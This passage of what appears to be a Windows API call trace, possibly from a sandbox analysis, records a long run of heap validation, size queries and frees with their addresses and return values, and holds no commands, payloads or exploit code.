lpWideCharStr="11", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0125.942] GetProcessHeap () returned 0x21c24e90000 [0125.942] GetProcessHeap () returned 0x21c24e90000 [0125.942] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e9acb0) returned 1 [0125.942] GetProcessHeap () returned 0x21c24e90000 [0125.942] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e9acb0) returned 0x1fc [0125.943] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e9acb0) returned 1 [0125.943] GetProcessHeap () returned 0x21c24e90000 [0125.943] GetProcessHeap () returned 0x21c24e90000 [0125.943] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e96060) returned 1 [0125.943] GetProcessHeap () returned 0x21c24e90000 [0125.943] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e96060) returned 0x6 [0125.943] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e96060) returned 1 [0125.943] GetProcessHeap () returned 0x21c24e90000 [0125.943] GetProcessHeap () returned 0x21c24e90000 [0125.943] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e9a9f0) returned 1 [0125.943] GetProcessHeap () returned 0x21c24e90000 [0125.943] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e9a9f0) returned 0x16 [0125.943] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e9a9f0) returned 1 [0125.943] GetProcessHeap () returned 0x21c24e90000 [0125.943] GetProcessHeap () returned 0x21c24e90000 [0125.943] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e9aa30) returned 1 [0125.943] GetProcessHeap () returned 0x21c24e90000 [0125.944] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e9aa30) returned 0x18 [0125.944] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e9aa30) returned 1 [0125.944] GetProcessHeap () returned 0x21c24e90000 [0125.944] GetProcessHeap () returned 0x21c24e90000 [0125.944] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e9baa0) returned 1 [0125.944] GetProcessHeap () returned 0x21c24e90000 [0125.944] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e9baa0) returned 0x20 [0125.944] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e9baa0) returned 1 [0125.944] GetProcessHeap () returned 0x21c24e90000 [0125.944] GetProcessHeap () returned 0x21c24e90000 [0125.944] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e93e60) returned 1 [0125.944] GetProcessHeap () returned 0x21c24e90000 [0125.944] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e93e60) returned 0xa0 [0125.944] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e93e60) returned 1 [0125.944] GetProcessHeap () returned 0x21c24e90000 [0125.944] GetProcessHeap () returned 0x21c24e90000 [0125.944] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e947f0) returned 1 [0125.945] GetProcessHeap () returned 0x21c24e90000 [0125.945] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e947f0) returned 0x18 [0125.945] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e947f0) returned 1 [0125.945] GetProcessHeap () returned 0x21c24e90000 [0125.945] GetProcessHeap () returned 0x21c24e90000 [0125.945] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e9b3b0) returned 1 [0125.945] GetProcessHeap () returned 0x21c24e90000 [0125.945] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e9b3b0) returned 0x20 [0125.945] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e9b3b0) returned 1 [0125.945] GetProcessHeap () returned 0x21c24e90000 [0125.945] GetProcessHeap () returned 0x21c24e90000 [0125.945] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e94280) returned 1 [0125.945] GetProcessHeap () returned 0x21c24e90000 [0125.945] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e94280) returned 0x4a [0125.946] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e94280) returned 1 [0125.946] GetProcessHeap () returned 0x21c24e90000 [0125.946] GetProcessHeap () returned 0x21c24e90000 [0125.946] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e9aad0) returned 1 [0125.946] GetProcessHeap () returned 0x21c24e90000 [0125.946] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e9aad0) returned 0x18 [0125.946] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e9aad0) returned 1 [0125.946] GetProcessHeap () returned 0x21c24e90000 [0125.946] GetProcessHeap () returned 0x21c24e90000 [0125.946] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e9ba40) returned 1 [0125.946] GetProcessHeap () returned 0x21c24e90000 [0125.946] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e9ba40) returned 0x20 [0125.946] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e9ba40) returned 1 [0125.946] GetProcessHeap () returned 0x21c24e90000 [0125.946] GetProcessHeap () returned 0x21c24e90000 [0125.946] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e94300) returned 1 [0125.946] GetProcessHeap () returned 0x21c24e90000 [0125.946] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e94300) returned 0x4c [0125.947] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e94300) returned 1 [0125.947] GetProcessHeap () returned 0x21c24e90000 [0125.947] GetProcessHeap () returned 0x21c24e90000 [0125.947] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e9abd0) returned 1 [0125.947] GetProcessHeap () returned 0x21c24e90000 [0125.947] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e9abd0) returned 0x18 [0125.947] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e9abd0) returned 1 [0125.947] GetProcessHeap () returned 0x21c24e90000 [0125.947] GetProcessHeap () returned 0x21c24e90000 [0125.947] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e990b0) returned 1 [0125.947] GetProcessHeap () returned 0x21c24e90000 [0125.947] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e990b0) returned 0x20 [0125.947] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e990b0) returned 1 [0125.947] GetProcessHeap () returned 0x21c24e90000 [0125.947] GetProcessHeap () returned 0x21c24e90000 [0125.947] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e9aa50) returned 1 [0125.948] GetProcessHeap () returned 0x21c24e90000 [0125.948] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e9aa50) returned 0xe [0125.948] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e9aa50) returned 1 [0125.948] GetProcessHeap () returned 0x21c24e90000 [0125.948] GetProcessHeap () returned 0x21c24e90000 [0125.948] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e942e0) returned 1 [0125.948] GetProcessHeap () returned 0x21c24e90000 [0125.948] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e942e0) returned 0x18 [0125.948] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e942e0) returned 1 [0125.948] GetProcessHeap () returned 0x21c24e90000 [0125.948] GetProcessHeap () returned 0x21c24e90000 [0125.948] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e99080) returned 1 [0125.948] GetProcessHeap () returned 0x21c24e90000 [0125.948] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e99080) returned 0x20 [0125.948] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e99080) returned 1 [0125.948] GetProcessHeap () returned 0x21c24e90000 [0125.948] GetProcessHeap () returned 0x21c24e90000 [0125.948] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e99b40) returned 1 [0125.948] GetProcessHeap () returned 0x21c24e90000 [0125.948] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e99b40) returned 0x208 [0125.949] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e99b40) returned 1 [0125.949] GetProcessHeap () returned 0x21c24e90000 [0125.949] GetProcessHeap () returned 0x21c24e90000 [0125.949] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e94760) returned 1 [0125.949] GetProcessHeap () returned 0x21c24e90000 [0125.949] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e94760) returned 0x18 [0125.949] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e94760) returned 1 [0125.949] GetProcessHeap () returned 0x21c24e90000 [0125.949] GetProcessHeap () returned 0x21c24e90000 [0125.949] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e991d0) returned 1 [0125.949] GetProcessHeap () returned 0x21c24e90000 [0125.949] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e991d0) returned 0x20 [0125.949] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e991d0) returned 1 [0125.949] GetProcessHeap () returned 0x21c24e90000 [0125.950] GetProcessHeap () returned 0x21c24e90000 [0125.950] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e9bb70) returned 1 [0125.950] GetProcessHeap () returned 0x21c24e90000 [0125.950] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e9bb70) returned 0x200 [0125.950] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e9bb70) returned 1 [0125.950] GetProcessHeap () returned 0x21c24e90000 [0125.950] GetProcessHeap () returned 0x21c24e90000 [0125.951] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e94810) returned 1 [0125.951] GetProcessHeap () returned 0x21c24e90000 [0125.951] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e94810) returned 0x18 [0125.951] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e94810) returned 1 [0125.951] GetProcessHeap () returned 0x21c24e90000 [0125.951] GetProcessHeap () returned 0x21c24e90000 [0125.951] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e98f30) returned 1 [0125.951] GetProcessHeap () returned 0x21c24e90000 [0125.951] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e98f30) returned 0x20 [0125.951] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e98f30) returned 1 [0125.951] GetProcessHeap () returned 0x21c24e90000 [0125.951] GetProcessHeap () returned 0x21c24e90000 [0125.951] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e938d0) returned 1 [0125.951] GetProcessHeap () returned 0x21c24e90000 [0125.951] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e938d0) returned 0x14 [0125.951] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e938d0) returned 1 [0125.951] GetProcessHeap () returned 0x21c24e90000 [0125.951] GetProcessHeap () returned 0x21c24e90000 [0125.951] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e938b0) returned 1 [0125.951] GetProcessHeap () returned 0x21c24e90000 [0125.951] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e938b0) returned 0x18 [0125.952] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e938b0) returned 1 [0125.952] GetProcessHeap () returned 0x21c24e90000 [0125.952] GetProcessHeap () returned 0x21c24e90000 [0125.952] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e98f00) returned 1 [0125.952] GetProcessHeap () returned 0x21c24e90000 [0125.952] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e98f00) returned 0x20 [0125.952] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e98f00) returned 1 [0125.952] GetProcessHeap () returned 0x21c24e90000 [0125.952] GetProcessHeap () returned 0x21c24e90000 [0125.952] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e938f0) returned 1 [0125.952] GetProcessHeap () returned 0x21c24e90000 [0125.952] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e938f0) returned 0x16 [0125.952] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e938f0) returned 1 [0125.952] GetProcessHeap () returned 0x21c24e90000 [0125.952] GetProcessHeap () returned 0x21c24e90000 [0125.952] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e93f30) returned 1 [0125.952] GetProcessHeap () returned 0x21c24e90000 [0125.952] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e93f30) returned 0x18 [0125.952] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e93f30) returned 1 [0125.952] GetProcessHeap () returned 0x21c24e90000 [0125.952] GetProcessHeap () returned 0x21c24e90000 [0125.952] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e98ed0) returned 1 [0125.952] GetProcessHeap () returned 0x21c24e90000 [0125.953] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e98ed0) returned 0x20 [0125.953] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e98ed0) returned 1 [0125.953] GetProcessHeap () returned 0x21c24e90000 [0125.953] GetProcessHeap () returned 0x21c24e90000 [0125.953] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e94a10) returned 1 [0125.953] GetProcessHeap () returned 0x21c24e90000 [0125.953] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e94a10) returned 0x2 [0125.953] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e94a10) returned 1 [0125.953] GetProcessHeap () returned 0x21c24e90000 [0125.953] GetProcessHeap () returned 0x21c24e90000 [0125.953] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e94a30) returned 1 [0125.953] GetProcessHeap () returned 0x21c24e90000 [0125.953] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e94a30) returned 0x20 [0125.953] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e94a30) returned 1 [0125.953] GetProcessHeap () returned 0x21c24e90000 [0125.954] GetProcessHeap () returned 0x21c24e90000 [0125.954] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e943c0) returned 1 [0125.954] GetProcessHeap () returned 0x21c24e90000 [0125.954] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e943c0) returned 0x20 [0125.954] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e943c0) returned 1 [0125.954] GetProcessHeap () returned 0x21c24e90000 [0125.954] GetProcessHeap () returned 0x21c24e90000 [0125.954] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e943f0) returned 1 [0125.954] GetProcessHeap () returned 0x21c24e90000 [0125.954] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e943f0) returned 0x20 [0125.954] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e943f0) returned 1 [0125.954] GetProcessHeap () returned 0x21c24e90000 [0125.954] GetProcessHeap () returned 0x21c24e90000 [0125.954] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e94420) returned 1 [0125.954] GetProcessHeap () returned 0x21c24e90000 [0125.954] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e94420) returned 0x20 [0125.955] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e94420) returned 1 [0125.955] GetProcessHeap () returned 0x21c24e90000 [0125.955] GetProcessHeap () returned 0x21c24e90000 [0125.955] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e9bad0) returned 1 [0125.955] GetProcessHeap () returned 0x21c24e90000 [0125.955] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e9bad0) returned 0x20 [0125.955] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e9bad0) returned 1 [0125.955] GetProcessHeap () returned 0x21c24e90000 [0125.955] GetProcessHeap () returned 0x21c24e90000 [0125.955] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e9ab10) returned 1 [0125.955] GetProcessHeap () returned 0x21c24e90000 [0125.955] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e9ab10) returned 0xe [0125.955] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e9ab10) returned 1 [0125.955] GetProcessHeap () returned 0x21c24e90000 [0125.956] GetProcessHeap () returned 0x21c24e90000 [0125.956] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e9b950) returned 1 [0125.956] GetProcessHeap () returned 0x21c24e90000 [0125.956] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e9b950) returned 0x20 [0125.956] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e9b950) returned 1 [0125.956] GetProcessHeap () returned 0x21c24e90000 [0125.956] GetProcessHeap () returned 0x21c24e90000 [0125.956] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e93850) returned 1 [0125.956] GetProcessHeap () returned 0x21c24e90000 [0125.956] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e93850) returned 0x30 [0125.957] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e93850) returned 1 [0125.957] GetProcessHeap () returned 0x21c24e90000 [0125.957] GetProcessHeap () returned 0x21c24e90000 [0125.957] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e9b920) returned 1 [0125.957] GetProcessHeap () returned 0x21c24e90000 [0125.957] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e9b920) returned 0x20 [0125.958] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e9b920) returned 1 [0125.958] GetProcessHeap () returned 0x21c24e90000 [0125.958] GetProcessHeap () returned 0x21c24e90000 [0125.958] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e94240) returned 1 [0125.958] GetProcessHeap () returned 0x21c24e90000 [0125.958] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e94240) returned 0x30 [0125.958] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e94240) returned 1 [0125.958] GetProcessHeap () returned 0x21c24e90000 [0125.958] GetProcessHeap () returned 0x21c24e90000 [0125.958] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e9b3e0) returned 1 [0125.958] GetProcessHeap () returned 0x21c24e90000 [0125.958] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e9b3e0) returned 0x20 [0125.959] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e9b3e0) returned 1 [0125.959] GetProcessHeap () returned 0x21c24e90000 [0125.959] GetProcessHeap () returned 0x21c24e90000 [0125.959] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e9aab0) returned 1 [0125.959] GetProcessHeap () returned 0x21c24e90000 [0125.959] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e9aab0) returned 0xe [0125.959] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e9aab0) returned 1 [0125.959] GetProcessHeap () returned 0x21c24e90000 [0125.959] GetProcessHeap () returned 0x21c24e90000 [0125.959] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e9b7d0) returned 1 [0125.959] GetProcessHeap () returned 0x21c24e90000 [0125.959] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e9b7d0) returned 0x20 [0125.960] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e9b7d0) returned 1 [0125.960] GetProcessHeap () returned 0x21c24e90000 [0125.960] GetProcessHeap () returned 0x21c24e90000 [0125.960] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e9aa10) returned 1 [0125.960] GetProcessHeap () returned 0x21c24e90000 [0125.960] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e9aa10) returned 0x16 [0125.960] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e9aa10) returned 1 [0125.960] GetProcessHeap () returned 0x21c24e90000 [0125.960] GetProcessHeap () returned 0x21c24e90000 [0125.960] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e9ba70) returned 1 [0125.960] GetProcessHeap () returned 0x21c24e90000 [0125.960] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e9ba70) returned 0x20 [0125.960] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e9ba70) returned 1 [0125.960] GetProcessHeap () returned 0x21c24e90000 [0125.960] GetProcessHeap () returned 0x21c24e90000 [0125.960] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e9ab30) returned 1 [0125.961] GetProcessHeap () returned 0x21c24e90000 [0125.961] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e9ab30) returned 0x16 [0125.961] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e9ab30) returned 1 [0125.961] GetProcessHeap () returned 0x21c24e90000 [0125.961] GetProcessHeap () returned 0x21c24e90000 [0125.961] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e9b500) returned 1 [0125.961] GetProcessHeap () returned 0x21c24e90000 [0125.961] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e9b500) returned 0x20 [0125.962] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e9b500) returned 1 [0125.962] GetProcessHeap () returned 0x21c24e90000 [0125.962] GetProcessHeap () returned 0x21c24e90000 [0125.962] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24eb5930) returned 1 [0125.962] GetProcessHeap () returned 0x21c24e90000 [0125.962] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24eb5930) returned 0x82 [0125.962] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24eb5930) returned 1 [0125.962] GetProcessHeap () returned 0x21c24e90000 [0125.962] GetProcessHeap () returned 0x21c24e90000 [0125.962] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e9b620) returned 1 [0125.962] GetProcessHeap () returned 0x21c24e90000 [0125.962] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e9b620) returned 0x20 [0125.963] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e9b620) returned 1 [0125.963] GetProcessHeap () returned 0x21c24e90000 [0125.963] GetProcessHeap () returned 0x21c24e90000 [0125.963] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e9a9d0) returned 1 [0125.963] GetProcessHeap () returned 0x21c24e90000 [0125.963] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e9a9d0) returned 0xe [0125.963] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e9a9d0) returned 1 [0125.963] GetProcessHeap () returned 0x21c24e90000 [0125.963] GetProcessHeap () returned 0x21c24e90000 [0125.963] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e9b410) returned 1 [0125.963] GetProcessHeap () returned 0x21c24e90000 [0125.963] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e9b410) returned 0x20 [0125.964] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e9b410) returned 1 [0125.964] GetProcessHeap () returned 0x21c24e90000 [0125.964] GetProcessHeap () returned 0x21c24e90000 [0125.964] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e9aa90) returned 1 [0125.964] GetProcessHeap () returned 0x21c24e90000 [0125.964] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e9aa90) returned 0xa [0125.964] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e9aa90) returned 1 [0125.964] GetProcessHeap () returned 0x21c24e90000 [0125.964] GetProcessHeap () returned 0x21c24e90000 [0125.964] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e9b650) returned 1 [0125.964] GetProcessHeap () returned 0x21c24e90000 [0125.964] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e9b650) returned 0x20 [0125.964] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e9b650) returned 1 [0125.964] GetProcessHeap () returned 0x21c24e90000 [0125.965] GetProcessHeap () returned 0x21c24e90000 [0125.965] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e9abf0) returned 1 [0125.965] GetProcessHeap () returned 0x21c24e90000 [0125.965] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e9abf0) returned 0xc [0125.965] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e9abf0) returned 1 [0125.965] GetProcessHeap () returned 0x21c24e90000 [0125.965] GetProcessHeap () returned 0x21c24e90000 [0125.965] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e9b4a0) returned 1 [0125.965] GetProcessHeap () returned 0x21c24e90000 [0125.965] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e9b4a0) returned 0x20 [0125.965] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e9b4a0) returned 1 [0125.965] GetProcessHeap () returned 0x21c24e90000 [0125.965] GetProcessHeap () returned 0x21c24e90000 [0125.965] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e94a60) returned 1 [0125.965] GetProcessHeap () returned 0x21c24e90000 [0125.965] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e94a60) returned 0x18 [0125.966] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, 